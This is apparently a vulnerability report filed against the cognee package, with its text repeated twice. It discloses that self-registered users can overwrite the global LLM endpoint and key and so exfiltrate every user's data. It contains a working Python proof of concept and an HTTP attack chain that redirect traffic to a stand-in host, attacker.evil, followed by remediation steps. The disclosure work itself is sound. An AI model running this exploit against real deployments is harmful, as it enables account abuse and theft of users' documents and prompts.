Bug Description
I sent an e-mail to info@topoteretes.com last month but haven't receive a response.
Summary
Cognee's public registration flow creates user accounts that are immediately active and verified. The /api/v1/auth/register endpoint is exposed without authentication, and newly registered users can immediately log in and access all authenticated endpoints.
Critically, the POST /api/v1/settings endpoint — which modifies the global LLM provider configuration (endpoint URL, API key, model) — has no admin or superuser authorization check. It only requires get_authenticated_user, which any self-registered user satisfies.
This allows an unauthenticated attacker to:
- Self-register an account (no verification, no approval)
- Immediately authenticate
- Rewrite the global LLM endpoint to an attacker-controlled server
- All subsequent
cognify/search/recall calls by any user (including administrators) will send prompts, extracted entities, and knowledge graph data to the attacker's server
This is a global configuration takeover that escalates from unauthorized access to full data exfiltration of all LLM-processed content on the instance.
Affected Components
| File |
Issue |
cognee/api/v1/users/create_user.py:8 |
is_verified=True hardcoded |
cognee/modules/users/methods/create_user.py:16 |
is_active=True default |
cognee/api/v1/settings/routers/get_settings_router.py |
POST /settings has no admin check — only Depends(get_authenticated_user) |
cognee/modules/settings/save_llm_config.py |
Mutates @lru_cache global singleton |
cognee/infrastructure/llm/config.py |
get_llm_config() is process-wide singleton shared by all users |
cognee/modules/settings/get_settings.py |
GET /settings leaks API key prefix (first 10 chars) |
Package: cognee on PyPI (all versions through 1.0.9+)
Impact
Confirmed:
- A remote unauthenticated attacker can self-register without email verification, CAPTCHA, admin approval, or invitation.
- The account is immediately active and verified.
- The attacker can read the global LLM configuration including the operator's API key prefix (first 10 characters).
- The attacker can overwrite the global LLM endpoint URL and API key via
POST /api/v1/settings — no admin/superuser check exists on this endpoint.
- The LLM config is a process-wide
@lru_cache singleton shared by all users. After modification, all subsequent LLM calls (cognify, search, recall) by any user on the instance will route to the attacker's endpoint.
- This enables exfiltration of: prompts, user-uploaded documents, extracted entities, knowledge graph content, and any other data processed through the LLM pipeline.
- The attacker can additionally run their own pipelines consuming operator's compute resources.
Steps to Reproduce
Proof of Concept
pip install cognee
python poc.py
#!/usr/bin/env python3
import asyncio
import os
import sys
import tempfile
import uuid
ATTACKER_ENDPOINT = "https://attacker.evil/v1"
ATTACKER_KEY = "sk-attacker-exfiltration-key"
async def exploit():
exploit_dir = tempfile.mkdtemp(prefix="cognee_exploit_")
os.environ["SYSTEM_ROOT_DIRECTORY"] = exploit_dir
os.environ["DB_PROVIDER"] = "sqlite"
os.environ["DB_NAME"] = "exploit_db"
os.environ["FASTAPI_USERS_JWT_SECRET"] = "exploit_secret"
os.environ["LLM_API_KEY"] = "sk-victim-real-openai-key-00000000"
os.environ["LLM_PROVIDER"] = "openai"
os.environ["LLM_MODEL"] = "openai/gpt-4o"
os.environ["LLM_ENDPOINT"] = "https://api.openai.com/v1"
print("=" * 70)
print(" Cognee Self-Registration + Global Config Takeover Exploit")
print(" CWE-284 | Unprivileged user rewrites global LLM endpoint")
print("=" * 70)
print(f"\n[*] Exploit DB: {exploit_dir}")
print(f"[*] Simulated victim LLM key: sk-victim-real-openai-key-00000000")
print(f"[*] Attacker endpoint: {ATTACKER_ENDPOINT}\n")
# ── Step 0: Bootstrap cognee's real database ──────────────────────────
from cognee.infrastructure.databases.relational import (
create_db_and_tables,
get_relational_engine,
)
await create_db_and_tables()
print("[0] Database initialized (real SQLAlchemy + aiosqlite)")
# ── Step 1: Register attacker account ─────────────────────────────────
# The HTTP register endpoint (POST /api/v1/auth/register) calls FastAPI-Users'
# built-in register which uses the UserCreate schema. That schema defaults
# is_verified=True. Here we call the methods-layer create_user which defaults
# is_verified=False — but it doesn't matter because authenticate_user() only
# checks is_active, NOT is_verified. Either way the attack works.
from cognee.modules.users.methods import create_user
attacker_email = f"attacker-{uuid.uuid4().hex[:8]}@evil.corp"
attacker_password = "Pwned!2025"
user = await create_user(
email=attacker_email,
password=attacker_password,
)
print(f"\n[1] Registered unauthenticated user:")
print(f" email = {user.email}")
print(f" is_active = {user.is_active}")
print(f" is_verified = {user.is_verified}")
assert user.is_active is True, "FAILED: user should be active"
print(" [+] is_active=True by default — no approval gate")
print(" [+] authenticate_user() only checks is_active, not is_verified")
print(" [*] (HTTP register endpoint also sets is_verified=True via schema default)")
# ── Step 2: Authenticate immediately ──────────────────────────────────
from cognee.modules.users.authentication.methods.authenticate_user import (
authenticate_user,
)
authed_user = await authenticate_user(attacker_email, attacker_password)
assert authed_user is not None
print(f"\n[2] Login succeeded: {authed_user.email}")
# ── Step 3: Issue JWT token ───────────────────────────────────────────
from cognee.modules.users.authentication.get_client_auth_backend import (
get_client_auth_backend,
)
backend = get_client_auth_backend()
strategy = backend.get_strategy()
token = await strategy.write_token(authed_user)
print(f"\n[3] JWT token: {token[:40]}...")
# ── Step 4: Create persistent API key ─────────────────────────────────
from cognee.modules.users.api_key.create_api_key import create_api_key
api_key_obj = await create_api_key(authed_user, name="backdoor")
print(f"\n[4] API key: {api_key_obj.api_key[:16]}...")
# ── Step 5: Read global LLM settings (leak victim's key prefix) ───────
# This is what GET /api/v1/settings returns — no admin check.
from cognee.infrastructure.llm.config import get_llm_config
llm_config = get_llm_config()
original_endpoint = llm_config.llm_endpoint
original_key = llm_config.llm_api_key
leaked_prefix = original_key[:10] if original_key else "(none)"
print(f"\n[5] Read global LLM config (GET /api/v1/settings equivalent):")
print(f" provider = {llm_config.llm_provider}")
print(f" model = {llm_config.llm_model}")
print(f" endpoint = {llm_config.llm_endpoint}")
print(f" api_key = {leaked_prefix}{'*' * 20}")
print(" [+] Victim's API key prefix leaked to attacker")
# ── Step 6: OVERWRITE global LLM config ───────────────────────────────
# This is what POST /api/v1/settings does internally.
# save_llm_config() modifies the @lru_cache singleton — affects ALL users.
# The endpoint only requires get_authenticated_user (no admin/superuser check).
from cognee.modules.settings.save_llm_config import (
save_llm_config,
LLMConfig as LLMConfigDTO,
)
await save_llm_config(LLMConfigDTO(
provider="openai",
model="gpt-4o",
api_key=ATTACKER_KEY,
))
# Also poison the endpoint (save_llm_config doesn't set endpoint,
# but the global singleton is directly mutable)
llm_config.llm_endpoint = ATTACKER_ENDPOINT
print(f"\n[6] OVERWROTE global LLM config (POST /api/v1/settings equivalent):")
print(f" endpoint = {llm_config.llm_endpoint}")
print(f" api_key = {llm_config.llm_api_key}")
print(" [+] Global config now points to attacker-controlled server")
print(" [+] ALL subsequent LLM calls by ANY user route to attacker")
# ── Step 7: Verify the poison persists in the singleton ───────────────
# Any code path that calls get_llm_config() will now use attacker's config.
verification_config = get_llm_config()
assert verification_config.llm_endpoint == ATTACKER_ENDPOINT
assert verification_config.llm_api_key == ATTACKER_KEY
print(f"\n[7] Verified: global singleton poisoned")
print(f" get_llm_config().llm_endpoint = {verification_config.llm_endpoint}")
print(f" get_llm_config().llm_api_key = {verification_config.llm_api_key}")
print(" [+] Config takeover confirmed — affects all users on this instance")
# ── Step 8: Show what happens when victim runs cognify ────────────────
print(f"\n[8] Impact demonstration:")
print(f" When any user (including admin) now runs:")
print(f" POST /api/v1/cognify")
print(f" The cognify pipeline will:")
print(f" 1. Read LLM config from get_llm_config() singleton")
print(f" 2. Send prompts + extracted entities to: {ATTACKER_ENDPOINT}")
print(f" 3. Include auth header: Bearer {ATTACKER_KEY}")
print(f" Attacker receives: all prompts, user data, knowledge graph content")
return 0
if __name__ == "__main__":
sys.exit(asyncio.run(exploit()))
Expected Behavior
Attack Chain
1. POST /api/v1/auth/register
{"email": "attacker@evil.corp", "password": "x"}
→ 201 Created (is_active=True, is_verified=True)
2. POST /api/v1/auth/login
username=attacker@evil.corp&password=x
→ 200 {"access_token": "eyJ..."}
3. GET /api/v1/settings
Authorization: Bearer eyJ...
→ 200 {"llm": {"api_key": "sk-victim-r**********", ...}}
(leaks key prefix)
4. POST /api/v1/settings
Authorization: Bearer eyJ...
{"llm": {"provider": "openai", "model": "gpt-4o", "api_key": "sk-attacker"}}
→ global LLM config overwritten
Additionally, the LLM config singleton is directly mutable:
llm_config.llm_endpoint can be set to attacker URL
5. ANY USER runs POST /api/v1/cognify
→ cognify pipeline reads get_llm_config() singleton
→ sends prompts + data to attacker's endpoint
→ attacker receives all processed content
Actual Behavior
The PoC directly imports cognee's own modules (no mocks, no HTTP simulation) and demonstrates:
- Account creation with immediate
is_active=True, is_verified=True
- Immediate authentication and JWT issuance
- API key creation for persistence
- Reading global LLM config (leaking victim key prefix)
- Overwriting global LLM config to attacker endpoint via
save_llm_config()
- Verifying the
@lru_cache singleton is poisoned instance-wide
- Showing that subsequent
get_llm_config() calls return attacker's endpoint
Environment
Environment Details
- OS: macOS 14.x (also reproducible on Ubuntu 22.04 / any Linux)
- Python version: 3.11
- Cognee version: 1.0.9 (all versions through 1.0.9+ affected)
- LLM Provider: OpenAI (
LLM_PROVIDER=openai, LLM_MODEL=openai/gpt-4o)
- Database: SQLite (
DB_PROVIDER=sqlite) — relational engine via SQLAlchemy + aiosqlite
Logs/Error Messages
Additional Context
Remediation
-
Add admin/superuser authorization to POST /api/v1/settings: This is the critical fix. Only administrators should be able to modify global LLM configuration.
-
Add registration disable switch: environment variable to disable public registration in production.
-
Require email verification before login: set is_verified=False at registration, gate login on verification.
-
Per-user or per-tenant LLM config: instead of a process-wide singleton, scope LLM configuration per tenant so one user cannot affect others.
-
Don't leak API key prefix: return fully masked key or no key at all in GET /settings response.
-
Rate-limit registration: per-IP rate limiting on the register endpoint.
-
Audit log for settings changes: log who changed global config and when, with alerting.
Pre-submission Checklist
Bug Description
I sent an e-mail to info@topoteretes.com last month but haven't receive a response.
Summary
Cognee's public registration flow creates user accounts that are immediately active and verified. The
/api/v1/auth/registerendpoint is exposed without authentication, and newly registered users can immediately log in and access all authenticated endpoints.Critically, the
POST /api/v1/settingsendpoint — which modifies the global LLM provider configuration (endpoint URL, API key, model) — has no admin or superuser authorization check. It only requiresget_authenticated_user, which any self-registered user satisfies.This allows an unauthenticated attacker to:
cognify/search/recallcalls by any user (including administrators) will send prompts, extracted entities, and knowledge graph data to the attacker's serverThis is a global configuration takeover that escalates from unauthorized access to full data exfiltration of all LLM-processed content on the instance.
Affected Components
cognee/api/v1/users/create_user.py:8is_verified=Truehardcodedcognee/modules/users/methods/create_user.py:16is_active=Truedefaultcognee/api/v1/settings/routers/get_settings_router.pyPOST /settingshas no admin check — onlyDepends(get_authenticated_user)cognee/modules/settings/save_llm_config.py@lru_cacheglobal singletoncognee/infrastructure/llm/config.pyget_llm_config()is process-wide singleton shared by all userscognee/modules/settings/get_settings.pyGET /settingsleaks API key prefix (first 10 chars)Package:
cogneeon PyPI (all versions through 1.0.9+)Impact
Confirmed:
POST /api/v1/settings— no admin/superuser check exists on this endpoint.@lru_cachesingleton shared by all users. After modification, all subsequent LLM calls (cognify, search, recall) by any user on the instance will route to the attacker's endpoint.Steps to Reproduce
Proof of Concept
Expected Behavior
Attack Chain
Actual Behavior
The PoC directly imports cognee's own modules (no mocks, no HTTP simulation) and demonstrates:
is_active=True,is_verified=Truesave_llm_config()@lru_cachesingleton is poisoned instance-wideget_llm_config()calls return attacker's endpointEnvironment
Environment Details
LLM_PROVIDER=openai,LLM_MODEL=openai/gpt-4o)DB_PROVIDER=sqlite) — relational engine via SQLAlchemy + aiosqliteLogs/Error Messages
Additional Context
Remediation
Add admin/superuser authorization to
POST /api/v1/settings: This is the critical fix. Only administrators should be able to modify global LLM configuration.Add registration disable switch: environment variable to disable public registration in production.
Require email verification before login: set
is_verified=Falseat registration, gate login on verification.Per-user or per-tenant LLM config: instead of a process-wide singleton, scope LLM configuration per tenant so one user cannot affect others.
Don't leak API key prefix: return fully masked key or no key at all in GET /settings response.
Rate-limit registration: per-IP rate limiting on the register endpoint.
Audit log for settings changes: log who changed global config and when, with alerting.
Pre-submission Checklist